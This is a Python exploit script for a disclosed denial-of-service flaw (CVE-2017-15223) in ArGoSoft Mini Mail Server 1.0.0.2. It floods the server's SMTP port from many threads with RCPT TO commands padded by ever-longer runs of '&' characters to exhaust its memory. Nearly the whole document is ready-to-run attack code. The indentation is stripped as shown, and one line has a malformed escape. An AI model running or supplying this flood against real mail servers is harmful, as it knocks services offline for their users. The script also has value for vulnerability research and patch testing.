#!/usr/bin/env python
# coding: utf-8
############ Description: ##########
# The vulnerability was discovered during a vulnerability research lecture.
#
# Denial-of-service vulnerability in ArGoSoft Mini Mail Server 1.0.0.2
# and earlier allows remote attackers to waste CPU resources (memory
# consumption) via unspecified vectors.
####################################
# Exploit Title: ArGoSoft Mini Mail Server - DoS (Memory Consumption)
# Date: 2017-10-21
# Exploit Author: Berk Cem Göksel
# Contact: twitter.com/berkcgoksel || bgoksel.com
# Vendor Homepage: http://www.argosoft.com
# Software Link: http://www.argosoft.com/rootpages/MiniMail/Default.aspx
# Version: 1.0.0.2
# Tested on: Windows 10
# Category: Windows Remote Denial-of-Service
# CVE : CVE-2017-15223
import socket
from threading import Thread
def data():
ip = '127.0.0.1'
port = 25
counter = 50
string = '&'
while True:
try:
if counter >= 10000:
counter = 0
else:
counter = counter + 50
A = (string * counter) + 'user2@othermail.com'
print "String lenght: " + str(len(A))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5.0)
sock.connect((ip, port))
sock.send('HELO localhost\r\n' + 'MAIL FROM: user1@somemail.com\r\n' + 'RCPT TO: ' + A + '\r\nDATA\r\nMessage-ID:1224\r\SDFGQUIL\r\n"."\r\n' + 'QUIT\r\n')
sock.recv(1024)
sock.close()
except Exception as e:
continue
def main():
iterations = int(input("Threads: "))
for i in range(iterations):
t = Thread(target=data)
t.start()
if __name__ == '__main__':
main()
